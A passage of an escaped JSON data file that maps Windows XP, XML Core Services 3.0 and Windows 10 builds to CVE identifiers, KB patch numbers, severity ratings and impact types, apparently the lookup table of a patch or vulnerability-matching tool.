Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981350\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-1885\",\"kb\":\"2229593\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3144\",\"kb\":\"2443105\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416447\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518864\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5065\",\"kb\":\"2914368\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901110\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows XP Service Pack 1\":[{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows XP Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973540\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981350\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-1885\",\"kb\":\"2229593\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows XP Service Pack 3\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973540\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-1885\",\"kb\":\"2229593\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3138\",\"kb\":\"2661637\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3144\",\"kb\":\"2443105\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416447\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518864\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5065\",\"kb\":\"2914368\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901110\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for 32-bit Systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013198\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for x64-based Systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013198\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012606\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012606\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows RT 8.1\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 for Itanium-Based Systems Service Pack 2\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2012\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012217\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012217\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2016\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Server 2016 (Server Core installation)\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Vista Service Pack 2\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft XML Core Services 3.0 on Windows Vista x64 Edition Service Pack 2\":[{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Windows 10 Version 1507 for 32-bit Systems\":[{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows 10 Version 1507 for x64-based Systems\":[{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows 10 Version 1511 for 32-bit Systems\":[{\"cve\":\"CVE-2015-6100\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3116900\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3116900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6168\",\"kb\":\"3116900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3135173\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3135173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3140768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3147458\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156421\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163018\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185614\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198586\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013198\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019473\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019473\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041689\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041689\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048952\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053578\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025344\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038783\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093109\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Windows 10 Version 1511 for x64-based Systems\":[{\"cve\":\"CVE-2015-6100\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3105211\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3116900\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3116900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6168\",\"kb\":\"3116900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3124263\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3135173\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3135173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3140768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3147458\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156421\",\"severity\":\"Critical\",\"impact\":\"Remote Code 